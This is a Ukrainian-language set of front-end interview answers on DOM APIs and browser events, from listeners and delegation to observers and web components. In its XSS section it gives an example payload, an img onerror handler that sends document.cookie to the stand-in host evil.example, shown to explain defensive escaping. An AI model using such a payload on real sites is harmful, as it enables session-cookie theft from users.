Питання на співбесіді: DOM і події
Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.
12 питань
element.onclick = fn - лише один обробник: наступне присвоєння перезаписує попередній. addEventListener додає скільки завгодно обробників на одну подію й має налаштування.
button.onclick = () => track('click');
button.onclick = () => openModal(); // track більше не спрацює
button.addEventListener('click', () => track('click'));
button.addEventListener('click', () => openModal()); // спрацюють обидва
Опції addEventListener:
once: true- обробник автоматично знімається після першого спрацювання.passive: true- обіцянка не викликатиpreventDefault(). Дляtouchstart/wheelце дозволяє браузеру прокручувати сторінку плавно, не чекаючи обробника.capture: true- обробник спрацює на фазі перехоплення, ще до цільового елемента.signal- зняти обробник черезAbortController, зручно для кількох обробників одразу.
Зняти обробник можна лише тим самим посиланням на функцію:
function onResize() { /* ... */ }
window.addEventListener('resize', onResize);
window.removeEventListener('resize', onResize); // працює
window.addEventListener('resize', () => {});
window.removeEventListener('resize', () => {}); // нічого не зніме: інша функція
Атрибути в HTML (<button onclick="...">) - найгірший варіант: код змішано з розміткою, а суворий Content Security Policy такі обробники блокує.
Події:
DOMContentLoaded- HTML повністю розібрано, DOM готовий. Зображення, стилі (крім тих, що блокують скрипти) й iframe ще можуть вантажитися. Тут зазвичай ініціалізують скрипти.load(наwindow) - завантажено все: зображення, шрифти, iframe. Відбувається пізніше, часто значно.
Звичайний <script src> у <head> зупиняє розбір HTML, доки скрипт не завантажиться й не виконається. Сторінка «біла», а скрипт ще й не бачить елементи нижче.
defer- завантажити паралельно з розбором, а виконати після розбору HTML, передDOMContentLoaded, у порядку появи в документі.async- завантажити паралельно й виконати, щойно завантажився, у довільному порядку, перериваючи розбір.
<script defer src="/app.js"></script> <!-- основний код, залежить від DOM -->
<script async src="/analytics.js"></script> <!-- незалежний, порядок не важливий -->
<script type="module" src="/main.js"></script> <!-- модулі поводяться як defer -->
Правило: код застосунку - defer (або type="module"), незалежні сторонні скрипти (аналітика, віджети) - async. Розміщувати скрипти в кінці <body> - старий спосіб досягти схожого ефекту; з defer у цьому немає потреби.
querySelector(selector) повертає перший елемент, що відповідає CSS-селектору, або null. querySelectorAll(selector) - усі відповідні елементи.
const form = document.querySelector('#order-form');
const firstError = document.querySelector('.field.is-invalid input');
const buttons = document.querySelectorAll('[data-action="delete"]');
buttons.forEach((button) => button.addEventListener('click', onDelete));
Селектор - будь-який валідний CSS: класи, атрибути, псевдокласи (:checked, :not(...)), комбінатори.
querySelectorAll повертає статичний NodeList - знімок на момент виклику. Елементи, додані пізніше, у ньому не з'являться. У NodeList є forEach, але немає map і filter - для них [...nodes] чи Array.from(nodes).
Старші методи:
getElementById('id')- найшвидший пошук за id, повертає елемент абоnull;getElementsByClassName,getElementsByTagName- повертають живуHTMLCollection, яка оновлюється разом з DOM. Це може дивувати: видалення елементів у циклі по такій колекції пропускає кожен другий.
Пошук не лише від document. Усі методи працюють і на елементі - пошук тоді обмежується його нащадками:
const card = document.querySelector('.product-card');
const price = card.querySelector('.price');
closest(selector) шукає вгору - найближчого предка (або сам елемент), що відповідає селектору. Незамінний при делегуванні подій:
document.addEventListener('click', (event) => {
const row = event.target.closest('tr[data-id]');
if (row) openOrder(row.dataset.id);
});
matches(selector) - чи відповідає сам елемент селектору.
Пастки:
- перевіряти на
null:document.querySelector('.missing').classListкинеTypeError. Або?., або явна перевірка; - id, що починаються з цифри чи містять спецсимволи, треба екранувати в селекторі:
document.querySelector(`#${CSS.escape(id)}`); - скрипт виконується до розмітки: якщо
<script>у<head>безdefer, елементів ще немає. Розв'язується атрибутомdeferчиtype="module"; - динамічний вміст (Livewire, Alpine, підвантаження) замінює елементи - збережені посилання вказують на вузли, яких уже немає на сторінці. Делегування подій чи повторний пошук після оновлення.
Це два незалежні механізми, які часто плутають.
preventDefault() скасовує стандартну дію браузера для події:
form.addEventListener('submit', async (event) => {
event.preventDefault(); // не перезавантажувати сторінку
await fetch(form.action, { method: 'POST', body: new FormData(form) });
});
link.addEventListener('click', (event) => {
event.preventDefault(); // не переходити за посиланням
openModal(link.href);
});
Типові стандартні дії: відправка форми, перехід за посиланням, встановлення галочки чекбокса, введення символу в поле при keydown, контекстне меню при правому кліку, прокрутка колесом.
stopPropagation() зупиняє поширення події DOM-деревом: батьківські елементи її не отримають.
dropdown.addEventListener('click', (event) => {
event.stopPropagation(); // клік усередині меню не дійде до document
});
document.addEventListener('click', () => closeAllDropdowns());
Стандартна дія при цьому не скасовується: посилання всередині все одно спрацює.
stopImmediatePropagation() - ще й не викликати інші обробники цього самого елемента, зареєстровані пізніше.
Чому stopPropagation варто уникати:
- він ламає код, що спирається на спливання: делегування подій, аналітику, закриття випадних меню кліком поза ними, обробники фреймворків на
document; - проблему зазвичай краще вирішити перевіркою в батьківському обробнику:
if (dropdown.contains(event.target)) return;.
return false в обробнику, призначеному через onclick="...", скасовує стандартну дію. В addEventListener повернене значення ігнорується - потрібен явний preventDefault().
Пасивні обробники ({ passive: true }) обіцяють браузеру, що preventDefault() не буде викликано. Тоді браузер може почати прокрутку, не чекаючи на обробник. Виклик preventDefault() у пасивному обробнику ігнорується (з попередженням у консолі).
Перевірка: event.defaultPrevented показує, чи хтось уже скасував стандартну дію - корисно, щоб не обробляти подію двічі.
У фреймворках: Alpine @submit.prevent, @click.stop; Livewire wire:submit сам скасовує стандартну відправку форми; Vue - ті самі модифікатори .prevent і .stop.
Подія в DOM проходить три фази:
- Перехоплення (capture) - від
windowвниз до цільового елемента. - Ціль - на самому елементі.
- Спливання (bubble) - назад угору до
window.
Обробники за замовчуванням спрацьовують на фазі спливання. Тому клік по кнопці в картці «бачать» і кнопка, і картка, і document.
Делегування - один обробник на спільному предку замість обробника на кожному елементі:
document.querySelector('#todo-list').addEventListener('click', (event) => {
const button = event.target.closest('[data-action="delete"]');
if (!button) return;
removeTodo(button.dataset.id);
});
Переваги:
- Працює для елементів, доданих пізніше (підвантажені рядки, нові пункти списку) - не треба вішати обробники заново.
- Один обробник замість тисячі - менше пам'яті й простіше прибирання.
Що треба знати:
event.target- елемент, на якому подія виникла (може бути<span>всередині кнопки).event.currentTarget- елемент, на якому висить обробник. Звідсиclosest()у прикладі.stopPropagation()зупиняє спливання, але ламає делегування й аналітику вище за деревом. Використовувати обережно.- Не всі події спливають:
focus/blur- ні (зате спливаютьfocusin/focusout),mouseenter/mouseleave- ні (спливаютьmouseover/mouseout).
innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.
comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'
Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.
Безпечні альтернативи:
textContent- для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
- Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url; // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
- Шаблони фреймворків (Vue
{{ }}, JSX, Blade{{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти:v-html,dangerouslySetInnerHTML,{!! !!}. - Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.
Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.
innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.
Усі три властивості читають і записують вміст елемента, але різними способами.
textContent - сирий текст усіх вузлів-нащадків, як він є в DOM:
- повертає текст прихованих елементів (
display: none), вміст<script>і<style>; - зберігає пробіли й переноси рядків з розмітки;
- не викликає перерахунку стилів - швидкий;
- при записі вставляє текст, а не розмітку:
<b>стане видимими символами.
innerText - текст як його бачить користувач:
- враховує CSS: приховані елементи не потрапляють у результат,
text-transform: uppercaseзмінює регістр, блокові елементи дають переноси рядків; - для цього браузер мусить розрахувати розкладку (layout). Читання
innerTextу циклі - джерело примусових перерахунків і повільної сторінки; - при записі теж вставляє текст, але перетворює
\nна<br>.
innerHTML - розмітка як рядок HTML:
- при читанні - серіалізований HTML нащадків;
- при записі - розбирає рядок як HTML, видаляючи старих нащадків разом з їхніми обробниками подій.
const name = '<img src=x onerror="stealCookies()">';
title.textContent = name; // безпечно: показується як текст
title.innerHTML = name; // XSS: виконається onerror
Що обирати:
| Задача | Властивість |
|---|---|
| вивести дані користувача чи API | textContent |
| прочитати текст для копіювання так, як його бачать | innerText |
| вставити довірену розмітку з власного шаблону | innerHTML (або краще createElement / <template>) |
Для запису тексту за замовчуванням - textContent: він швидший і безпечний. Це той самий принцип, що й {{ }} у Blade, який екранує HTML, на відміну від {!! !!}.
Ще варіанти: element.append('текст') теж додає текст безпечно; insertAdjacentHTML('beforeend', html) вставляє розмітку, не руйнуючи наявних нащадків (але так само небезпечний для недовірених даних).
value для полів форми: вміст <input> і <textarea> - це властивість value, а не textContent.
Крім вбудованих подій (click, submit), можна створювати власні - щоб частини інтерфейсу спілкувалися, не знаючи одна про одну.
// компонент кошика повідомляє, що змінилася кількість товарів
const event = new CustomEvent('cart:updated', {
detail: { count: 3, total: 1250 },
bubbles: true,
});
cartElement.dispatchEvent(event);
// лічильник у шапці слухає, не знаючи про кошик нічого, крім назви події
document.addEventListener('cart:updated', (event) => {
badge.textContent = event.detail.count;
});
Параметри:
detail- довільні дані події;bubbles: true- подія спливає до предків. За замовчуваннямfalse: без цього її почують лише обробники на самому елементі, і слухач наdocumentмовчатиме - найчастіша помилка;cancelable: true- слухачі можуть викликатиpreventDefault(), а той, хто відправив подію, - перевірити результат:
const allowed = form.dispatchEvent(new CustomEvent('order:before-submit', { cancelable: true, bubbles: true }));
if (!allowed) return; // хтось із слухачів скасував
composed: true- подія перетинає межу Shadow DOM (для веб-компонентів).
dispatchEvent синхронний: усі обробники виконуються до того, як виклик поверне керування. Це не черга повідомлень.
Назви подій - з префіксом-простором імен (cart:updated, modal:open), щоб не зіткнутися з вбудованими чи чужими подіями.
Де це використовується у TALL-стеку:
- Alpine:
$dispatch('notify', { message: 'Збережено' })створюєCustomEventзі спливанням, а@notify.window="..."слухає його наwindow; - Livewire:
$this->dispatch('post-created')у PHP доходить до браузера як подія, яку слухають черезLivewire.on(...)чи@post-created.windowв Alpine. Так серверний компонент повідомляє JavaScript-коду про зміни; - інтеграція сторонніх бібліотек (редакторів, карт): бібліотека відправляє подію, Alpine чи Livewire її підхоплюють.
Альтернатива без DOM - EventTarget як шина подій: const bus = new EventTarget(); і ті самі addEventListener/dispatchEvent, коли прив'язка до елемента не потрібна.
Щоб показати сторінку, браузер рахує layout (розміри й позиції елементів, у Firefox це називають reflow), а потім paint - малює пікселі, і composite - збирає шари.
- Reflow (layout) - перерахунок геометрії. Дорогий: зміна розміру одного елемента може зачепити батьків, сусідів і нащадків.
- Repaint - перемальовування без зміни геометрії (колір, тінь). Дешевше.
- Лише composite -
transformіopacityна окремому шарі: найдешевше, часто на GPU.
Layout thrashing - чергування записів і читань геометрії в циклі. Кожне читання (offsetHeight, getBoundingClientRect(), scrollTop) після запису змушує браузер синхронно перерахувати layout:
// Погано: N примусових перерахунків
for (const card of cards) {
card.style.height = `${card.offsetWidth * 0.75}px`; // читання після запису попередньої ітерації
}
// Добре: спершу всі читання, потім усі записи
const widths = cards.map((card) => card.offsetWidth);
cards.forEach((card, i) => { card.style.height = `${widths[i] * 0.75}px`; });
Інші правила:
- Анімувати
transformіopacity, а неtop,left,width,height. - Групувати зміни стилів через клас, а не десяток окремих присвоєнь
style. - Візуальні оновлення - у
requestAnimationFrame, щоб вони збігалися з кадром. content-visibility: autoдозволяє браузеру пропускати layout і paint для невидимих частин довгої сторінки.
Як знайти проблему: вкладка Performance у DevTools - фіолетові блоки «Layout» з попередженням «Forced reflow» показують рядок коду, що спричинив перерахунок.
Старий спосіб дізнатися, чи елемент з'явився на екрані, - обробник scroll з getBoundingClientRect() для кожного елемента. Він спрацьовує десятки разів на секунду, виконується в головному потоці й примушує браузер рахувати layout - звідси «смикання» прокрутки.
IntersectionObserver повідомляє, коли елемент перетинає область видимості (або інший елемент-контейнер). Обчислення виконує браузер, асинхронно, без примусового layout.
const observer = new IntersectionObserver((entries) => {
for (const entry of entries) {
if (!entry.isIntersecting) continue;
const img = entry.target;
img.src = img.dataset.src; // завантажити зображення
observer.unobserve(img); // більше не стежити
}
}, { rootMargin: '200px' }); // почати трохи заздалегідь
document.querySelectorAll('img[data-src]').forEach((img) => observer.observe(img));
Типові застосування:
- Нескінченний скрол: спостерігати за «маркером» наприкінці списку й підвантажувати наступну сторінку, коли він стає видимим.
- Аналітика переглядів: реклама чи блок вважається показаним, коли видно 50% протягом секунди (
threshold: 0.5). - Анімації при появі, пауза відео поза екраном.
Що варто знати:
- Для простих зображень лінивого завантаження вже вбудовано:
<img loading="lazy">. Спостерігач потрібен для складніших випадків. thresholdзадає, яку частку елемента має бути видно;rootMargin- розширює чи звужує область перевірки.- Спостерігача треба відключати (
disconnect()), коли компонент знищено, інакше він триматиме посилання на елементи. - Для зміни розміру елементів є споріднений
ResizeObserver.
MutationObserver повідомляє про зміни в DOM: додавання й видалення вузлів, зміну атрибутів чи тексту. Він замінив застарілі й повільні mutation events (DOMNodeInserted), які браузери поступово видаляють (Chrome - з версії 127).
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node instanceof Element) {
node.querySelectorAll('[data-tooltip]').forEach(initTooltip);
if (node.matches('[data-tooltip]')) initTooltip(node);
}
}
}
});
observer.observe(document.body, { childList: true, subtree: true });
Що можна спостерігати (опції observe):
childList- додавання й видалення дочірніх вузлів;subtree- разом з усіма нащадками, а не лише прямими дітьми;attributes(+attributeFilter: ['class', 'disabled'],attributeOldValue) - зміни атрибутів;characterData- зміни тексту у текстових вузлах.
Як він виконується. Колбек викликається асинхронно, пакетом, як мікрозадача після поточного коду. Сто змін в одному циклі - один виклик з масивом записів. Тому він значно дешевший за старі синхронні події.
Де корисний:
- ініціалізація сторонніх віджетів на вмісті, що з'являється динамічно (підвантаження, Livewire-оновлення,
wire:navigate); - реакція на зміни, які робить чужий код, якого ви не контролюєте;
- автоматичні тести й інструменти доступності, що стежать за змінами сторінки.
Підводні камені:
subtree: trueнаdocument.body- колбек на кожну зміну всієї сторінки. На складних сторінках це відчутно. Спостерігати варто найменший можливий контейнер з мінімумом опцій;- нескінченний цикл: колбек змінює DOM у тій самій області - це породжує нові записи. Потрібна перевірка, чи елемент уже оброблено (наприклад, атрибут-позначка);
- відключення:
observer.disconnect()при знищенні компонента, інакше спостерігач триматиме посилання на вузли.takeRecords()дає змогу забрати ще не доставлені записи перед відключенням; - не для розміру й видимості: для них є
ResizeObserverіIntersectionObserver- зміна розміру не є мутацією DOM.
Альтернатива, якщо ви контролюєте код, що змінює DOM, - викликати ініціалізацію явно чи через власну подію. Спостерігач потрібен саме тоді, коли зміни відбуваються «десь» поза вашим контролем.
Livewire і Alpine самі використовують MutationObserver: Alpine так помічає нові елементи з x-data і ініціалізує їх.
Веб-компоненти - вбудований у браузер спосіб створювати власні HTML-елементи. Три частини:
1. Користувацькі елементи (custom elements) - власний тег з поведінкою:
class CopyButton extends HTMLElement {
connectedCallback() {
this.addEventListener('click', () => {
navigator.clipboard.writeText(this.getAttribute('text'));
});
}
}
customElements.define('copy-button', CopyButton);
<copy-button text="composer require laravel/sanctum">Копіювати</copy-button>
Назва обов'язково містить дефіс - щоб не зіткнутися з майбутніми стандартними тегами. Колбеки життєвого циклу: connectedCallback, disconnectedCallback, attributeChangedCallback (для атрибутів зі списку observedAttributes).
2. Shadow DOM - ізольоване піддерево всередині елемента:
const shadow = this.attachShadow({ mode: 'open' });
shadow.innerHTML = `
<style>button { color: red; }</style>
<button><slot></slot></button>
`;
- стилі сторінки не проникають усередину, а стилі компонента не витікають назовні - справжня ізоляція CSS;
document.querySelectorне знаходить елементи всередині тіньового дерева;- налаштування ззовні - через CSS-змінні (вони успадковуються крізь межу) і
::part().
3. <template> і <slot> - розмітка-заготовка й місця, куди потрапляє вміст, переданий компоненту.
Коли веб-компоненти доречні:
- елементи, що мають працювати будь-де: у Blade, Vue, React, на статичній сторінці. Дизайн-системи великих компаній і віджети для вбудовування на чужі сайти;
- ізоляція стилів від CSS сторінки, яку ви не контролюєте;
- «острівці» інтерактивності на серверно-рендерених сторінках без фреймворку;
- довговічність: стандарт браузера не застаріває так, як версії фреймворків.
Обмеження:
- немає реактивності й шаблонізації з коробки: оновлення DOM при зміні даних - вручну (або бібліотека на кшталт Lit);
- серверний рендеринг Shadow DOM можливий через декларативний
<template shadowrootmode="open">, але екосистема тут слабша, ніж у фреймворків; - форми: елементи всередині Shadow DOM не беруть участі у відправці форми без
ElementInternals; - доступність: зв'язки
aria-labelledbyіforне працюють крізь межу тіньового дерева; - Tailwind не стилізує вміст Shadow DOM - глобальні класи туди не потрапляють.
З фреймворками: Vue вміє компілювати компоненти у веб-компоненти (defineCustomElement), React 19 повноцінно підтримує їх як елементи. Alpine і Livewire працюють з користувацькими елементами як із звичайними тегами (без Shadow DOM).